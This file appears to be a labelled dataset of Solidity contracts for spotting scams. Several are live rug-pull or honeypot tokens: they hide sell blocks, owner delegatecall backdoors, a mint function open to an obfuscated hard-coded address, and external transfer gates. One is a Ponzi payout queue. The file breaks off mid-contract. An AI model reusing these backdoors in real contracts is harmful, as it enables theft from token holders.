pragma solidity ^0.4.25; contract EasyMultiplier { address constant private PROMO = 0xCE7a15eD430B330BD7f495fb0aB8E57fa33571E5; uint constant public PROMO_PERCENT = 1; uint constant public MULTIPLIER = 125; struct Deposit { address depositor; uint128 deposit; uint128 expect; } Deposit[] private queue; uint public currentReceiverIndex = 0; function () public payable { if(msg.value > 0){ require(gasleft() >= 220000, "We require more gas!"); require(msg.value <= 5 ether); queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100))); uint promo = msg.value*PROMO_PERCENT/100; PROMO.send(promo); pay(); } } function pay() private { uint128 money = uint128(address(this).balance); for(uint i=0; i<queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; if(money >= dep.expect){ dep.depositor.send(dep.expect); money -= dep.expect; delete queue[idx]; }else{ dep.depositor.send(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex += i; } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } }
0
912
pragma solidity ^0.4.19; contract SafeMath { function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSub(uint256 x, uint256 y) internal pure returns (uint256) { assert(x >= y); return x - y; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token, SafeMath { mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) allowed; modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) { require(_to != 0x0); balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool success) { balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract XCTToken is StandardToken { string public constant name = "XChain Token"; string public constant symbol = "NXCT"; uint8 public constant decimals = 18; function XCTToken() public { totalSupply = 307 * 10**25; balances[msg.sender] = totalSupply; } }
1
3,515
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BoosterShiba{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,675
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,746
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address private botProtection; address public uniPair; constructor(address _botProtection) { botProtection = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract OddzToken is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 100000000000000000000000000; string public name = "OddzToken"; string public symbol = "ODDZ"; IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = msg.sender; uniPair = pairFor(wETH, address(this)); allowance[address(this)][address(uniRouter)] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; uniRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0
2,577
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal protectionFromBots; address public uniPair; constructor(address _botProtection) { protectionFromBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract PrimeDeployable is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 300000000000000000000000000; string public name = "Defactor"; string public symbol = "FACTR"; IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForPancake(wETH, address(this)); allowance[address(this)][address(routerForUniswap)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 